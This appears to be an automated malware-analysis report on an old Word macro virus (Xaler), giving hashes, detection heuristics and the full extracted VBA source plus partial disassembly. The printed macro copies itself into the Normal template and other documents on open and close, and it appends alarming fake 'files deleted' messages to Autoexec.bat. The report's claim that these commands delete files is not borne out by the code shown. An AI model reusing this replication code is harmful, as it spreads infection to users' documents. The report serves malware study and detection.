Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c0eb5f36e9a4da3c…

MALICIOUS

Office (OLE)

40.0 KB Created: 2002-01-26 10:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3962e46848774c1947c66d00fdb04816 SHA-1: f76aecea1fc4bd69a4803b0cbf8e3e1e3b0edf35 SHA-256: c0eb5f36e9a4da3c67563d1a1a7d4ff1338a7fb3f1db60259a2e43068d43bde7
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The macro attempts to append commands to C:\Autoexec.bat that would delete files on the system. This behavior is indicative of destructive malware or a destructive component of a larger attack. The ClamAV detection 'Doc.Trojan.Xaler-1' further supports the malicious nature of the file.

Heuristics 3

  • ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Xaler-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10842 bytes
SHA-256: 5f16ed0bb2cfeeba98ec95a9562664a6571fac098fe09cdfffa5cb84deedf126
Detection
ClamAV: Doc.Trojan.Xaler-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'RELAX
Private Sub RELAX2()
Public Sub ToolsMacro()
Rem RELAX
End Sub
Public Sub ViewVBcode()
End Sub
Public Sub ToolsMacro()
Rem RELAX
End Sub
Public Sub ViewVBcode()
End Sub
If Day(Date) Mod 10 = 0 And Month(Date) Mod 4 = 0 Then
Open "C:\Autoexec.bat" For Append As #1
Print #1, "Cls"
Print #1, "@ECHO OFF"
Print #1, "ECHO NOTE!!!"
Print #1, "ECHO ***"
Print #1, "ECHO *****"
Print #1, "ECHO *******"
Print #1, "ECHO *****"
Print #1, "ECHO ***"
Print #1, "ECHO Sometimes you must RELAX."
Print #1, "ECHO Please, RELAX while deleting all files in C:\"
Print #1, "ECHO *****"
Print #1, "ECHO *******"
Print #1, "ECHO *****"
Print #1, "ECHO GREECE"
Print #1, "ECHO =================================="
Print #1, "PAUSE"
Print #1, "CLS"
Print #1, "ECHO All files deleted!!!"
Print #1, "ECHO Now, you have a clean COMPUTER."
Print #1, "ECHO *******"
Print #1, "ECHO *******"
Print #1, "PAUSE"
Print #1, "@ECHO ON"
Close #1
End If
End Sub

Private Sub Document_Close()
Call GOODSub
Call RELAX2
End Sub

Private Sub GOODSub()
On Error Resume Next
Application.ScreenUpdating = False
Application.Options.SaveNormalPrompt = False
x$ = "C:\temp.tmp"
MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$
Open x$ For Input As #1
keimeno = Input(LOF(1), 1)
Close #1
kk& = InStr(1, keimeno, "'RELAX")
keimeno = Right$(keimeno, Len(keimeno) - kk& + 1)
For j = 1 To 2
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$
End If
Open x$ For Input As #1
rlx = Input(LOF(1), 1)
Close #1
d1 = InStr(1, rlx, "'RELAX")
If d1 = 0 Then
If j = 1 Then
With NormalTemplate.VBProject.vbcomponents.Item("ThisDocument")
.CodeModule.InsertLines 1, keimeno
.CodeModule.InsertLines 3, "Public Sub ToolsMacro()"
.CodeModule.InsertLines 4, "REM RELAX"
.CodeModule.InsertLines 5, "End Sub"
.CodeModule.InsertLines 6, "Public Sub ViewVBcode()"
.CodeModule.InsertLines 7, "End Sub"
End With
NormalTemplate.Save
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
End If
End If
Next j
'====================
Dim PRostasia As Byte
PRostasia = 1
fff = FreeFile
If Dir(ActiveDocument.FullName, 6) <> "" Then
Open ActiveDocument.FullName For Binary As #fff
Put #fff, 862, PRostasia
Close #fff
ActiveDocument.Save
End If
Kill x$
Application.ScreenUpdating = True
End Sub

Private Sub Document_Open()
Call GOODSub
End Sub




' Processing file: /opt/analyzer/scan_staging/a77fb2f6e942496a94223f5964fdfe1b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6133 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0005 "RELAX"
' Line #1:
' 	FuncDefn (Private Sub RELAX2())
' Line #2:
' 	FuncDefn (Public Sub ToolsMacro())
' Line #3:
' 	Rem 0x0006 " RELAX"
' Line #4:
' 	EndSub 
' Line #5:
' 	FuncDefn (Public Sub ViewVBcode())
' Line #6:
' 	EndSub 
' Line #7:
' 	FuncDefn (Public Sub ToolsMacro())
' Line #8:
' 	Rem 0x0006 " RELAX"
' Line #9:
' 	EndSub 
' Line #10:
' 	FuncDefn (Public Sub ViewVBcode())
' Line #11:
' 	EndSub 
' Line #12:
' 	Ld Date 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000A 
' 	Mod 
' 	LitDI2 0x0000 
' 	Eq 
' 	Ld Date 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0004 
' 	Mod 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #13:
' 	LitStr 0x000F "C:\Autoexec.bat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Append)
' Line #14:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0003 "Cls"
' 	PrintItemNL 
' Line #15:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0009 "@ECHO OFF"
' 	PrintItemNL 
' Line #16:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000C "ECHO NOTE!!!"
' 	PrintItemNL 
' Li
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.